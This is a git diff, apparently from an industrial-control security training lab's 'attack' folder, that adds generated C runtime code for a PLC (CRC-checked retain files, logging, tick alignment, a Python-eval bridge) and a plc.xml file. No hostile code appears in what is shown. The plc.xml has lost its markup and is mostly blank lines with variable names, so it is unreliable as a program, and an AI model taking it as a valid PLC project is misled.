0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 